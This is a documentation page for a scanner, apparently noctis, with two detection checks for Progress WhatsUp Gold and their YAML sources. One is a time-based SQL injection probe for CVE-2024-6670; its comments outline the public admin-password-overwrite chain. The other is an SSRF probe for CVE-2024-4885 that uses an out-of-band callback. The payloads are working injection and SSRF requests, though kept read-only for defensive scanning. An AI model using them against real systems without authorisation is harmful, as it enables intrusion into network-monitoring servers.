WhatsUp Gold — 2 vulnerability checks
noctis ships 2 vulnerability checks for WhatsUp Gold, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Progress WhatsUp Gold HasErrors unauthenticated SQL injection
| CVE | CVE-2024-6670 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/whatsupgold/CVE-2024-6670.yaml |
Sends unauthenticated POST requests to /NmConsole/Platform/PerformanceMonitorErrors/HasErrors whose classId closes the quoted value and appends a stacked SQL Server statement that only waits (WAITFOR DELAY). A 0-second delay sets the baseline; the finding is reported when a 6-second and then a 3-second delay each hold the reply for that long over the baseline, at least 2 seconds apart. The probe reads and writes no data and changes no setting.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrorswith a crafted body - HTTP(S) request
POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrorswith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrorswith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrorswith a crafted body - Parses / computes the next value with a Rhai script
- Checks
tm.foundfor^DELAYED$→ finding QoD 75: Time-based SQL injection in the classId of unauthenticated POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors: a stacked WAITFOR D…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-6670
- https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024
- https://www.zerodayinitiative.com/advisories/ZDI-24-1185/
- https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
Feed source — tests/vulnerabilities/whatsupgold/CVE-2024-6670.yaml
# CVE-2024-6670 — Progress WhatsUp Gold < 24.0.0 unauthenticated SQL injection
# (ZDI-24-1185). PerformanceMonitorErrorsController.HasErrors builds
# "... AND SMT.nClsid = '{4}'" with string.Format from the JSON classId and runs
# it through ExecuteStoreQuery<int> on SQL Server, without authentication;
# stacked statements run.
#
# The public chain (summoning.team, sinsinology/CVE-2024-6670) first writes the
# JMX keystore/truststore passwords through the unauthenticated JMXSecurity page
# (an encryption oracle, not a session step), then runs
# "UPDATE ProActiveAlert SET sAlertName=..." with no WHERE clause and reads the
# alert list back, then overwrites the admin password. Every one of those is a
# write. Issue #2420: this feed used to replay the first two (new keystore
# passwords, every proactive alert renamed).
#
# Now read-only: the stacked statement is only WAITFOR DELAY, which holds the
# reply. Proof = two delays (6 s, then 3 s) each landing in its own window over
# the faster of two 0 s baselines, and >= 2 s apart, so a WAF/IPS that holds
# every quoted request by a constant amount does not match. Nothing is written
# to the database or the settings. The classId prefix is a random GUID, not the
# GUID of the public PoC.
uid: a5e2f891-c3d4-4b67-8e9f-0a1b2c3d4e5f
name: "Progress WhatsUp Gold HasErrors unauthenticated SQL injection"
description: >-
Sends unauthenticated POST requests to /NmConsole/Platform/PerformanceMonitorErrors/HasErrors
whose classId closes the quoted value and appends a stacked SQL Server
statement that only waits (WAITFOR DELAY). A 0-second delay sets the
baseline; the finding is reported when a 6-second and then a 3-second delay
each hold the reply for that long over the baseline, at least 2 seconds
apart. The probe reads and writes no data and changes no setting.
cves: [CVE-2024-6670]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [sqli, time-based, kev, whatsupgold, progress]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-6670"
- "https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024"
- "https://www.zerodayinitiative.com/advisories/ZDI-24-1185/"
- "https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/"
steps:
- id: gen
action: script
code: |
let g = rand_hex(4) + "-" + rand_hex(2) + "-" + rand_hex(2) + "-" + rand_hex(2) + "-" + rand_hex(6);
let body = |n| "{\"deviceId\":\"1\",\"classId\":\"" + toupper(g) + "';WAITFOR DELAY '0:0:" + n + "';--\",\"range\":\"1\",\"n\":\"1\",\"start\":\"3\",\"end\":\"4\",\"businesdsHoursId\":\"5\"}";
#{ b0: body.call(0), b6: body.call(6), b3: body.call(3) }
store_as: p
- id: init-base
action: set_var
var_name: base_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-base2
action: set_var
var_name: base_resp2
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-long
action: set_var
var_name: long_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-short
action: set_var
var_name: short_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: post-base
action: http_request
method: POST
path: /NmConsole/Platform/PerformanceMonitorErrors/HasErrors
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
follow_redirects: false
headers:
Content-Type: "application/json"
body: "{{p.b0}}"
store_as: base_resp
- id: post-base2
action: http_request
method: POST
path: /NmConsole/Platform/PerformanceMonitorErrors/HasErrors
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
follow_redirects: false
headers:
Content-Type: "application/json"
body: "{{p.b0}}"
condition: "base_resp.status == 200"
store_as: base_resp2
# The faster of the two baselines: a cold application pool otherwise eats
# the windows below.
- id: check-baseline
action: script
code: |
let ok = base_resp.status == 200 && base_resp2.status == 200;
let base = base_resp.duration_ms;
if base_resp2.duration_ms < base { base = base_resp2.duration_ms; }
#{ ok: ok && base < 5000, base: base }
store_as: bl
# Longer delay first: a WAF that holds each successive request longer then
# fails its own window.
- id: post-long
action: http_request
method: POST
path: /NmConsole/Platform/PerformanceMonitorErrors/HasErrors
port: "{{port}}"
tls_insecure: true
timeout_secs: 25
follow_redirects: false
headers:
Content-Type: "application/json"
body: "{{p.b6}}"
condition: "bl.ok"
store_as: long_resp
- id: check-long
action: script
code: |
let d6 = long_resp.duration_ms - bl.base;
#{ ok: bl.ok && long_resp.status == base_resp.status && d6 >= 5000 && d6 < 10000, d6: d6 }
store_as: w6
- id: post-short
action: http_request
method: POST
path: /NmConsole/Platform/PerformanceMonitorErrors/HasErrors
port: "{{port}}"
tls_insecure: true
timeout_secs: 25
follow_redirects: false
headers:
Content-Type: "application/json"
body: "{{p.b3}}"
condition: "w6.ok"
store_as: short_resp
- id: check-short
action: script
code: |
let d3 = short_resp.duration_ms - bl.base;
let hit = w6.ok && short_resp.status == base_resp.status && d3 >= 2000 && d3 < 6000 && (w6.d6 - d3) >= 2000;
#{ hit: hit, found: if hit { "DELAYED" } else { "" } }
store_as: tm
- id: report
action: match
source: tm.found
pattern: "^DELAYED$"
condition: "tm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Time-based SQL injection in the classId of unauthenticated POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors: a stacked WAITFOR DELAY held the reply — baseline {{bl.base}} ms, 6 s delay {{long_resp.duration_ms}} ms, 3 s delay {{short_resp.duration_ms}} ms"
stop: trueProgress WhatsUp Gold Unauthenticated SSRF via SOAP RecurringReport
| CVE | CVE-2024-4885 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | ssrf — SSRF |
| Services | http, https |
| Detection | http_request, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/whatsupgold/CVE-2024-4885.yaml |
Detects CVE-2024-4885 via OOB callback triggered by SOAP TestRecurringReport with attacker-controlled baseUrl.
How noctis detects it
- HTTP(S) request
POST /NmAPI/RecurringReportwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: WhatsUp Gold SSRF confirmed — OOB callback received after unauthenticated SOAP TestRecurringReport (CVE-2024-4885)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4885
- https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024
- https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
- https://github.com/sinsinology/CVE-2024-4885
Feed source — tests/vulnerabilities/whatsupgold/CVE-2024-4885.yaml
uid: 3cc6d2eb-f708-4cc4-b5e0-8d2d437434b8
name: "Progress WhatsUp Gold Unauthenticated SSRF via SOAP RecurringReport"
description: "Detects CVE-2024-4885 via OOB callback triggered by SOAP TestRecurringReport with attacker-controlled baseUrl."
cves: [CVE-2024-4885]
cvss: 9.8
severity: critical
category: ssrf
confidence_base: 0.30
tags: [ssrf, rce, soap, oob, kev, whatsupgold]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-4885"
- "https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024"
- "https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/"
- "https://github.com/sinsinology/CVE-2024-4885"
steps:
- id: oob-soap
action: http_request
method: POST
path: /NmAPI/RecurringReport
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: "oob_enabled"
headers:
Content-Type: "text/xml; charset=utf-8"
SOAPAction: "http://tempuri.org/IRecurringReportServices/TestRecurringReport"
body: |
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://schemas.datacontract.org/2004/07/Ipswitch.NM.Shared">
<soap:Body>
<TestRecurringReport xmlns="http://tempuri.org/">
<rr>
<a:ID>1</a:ID>
<a:Name>noctis_test</a:Name>
<a:URL>{"baseUrl":"{{oob_url}}","userId":1}</a:URL>
</rr>
</TestRecurringReport>
</soap:Body>
</soap:Envelope>
store_as: soap_resp
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled"
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WhatsUp Gold SSRF confirmed — OOB callback received after unauthenticated SOAP TestRecurringReport (CVE-2024-4885)"
stop: true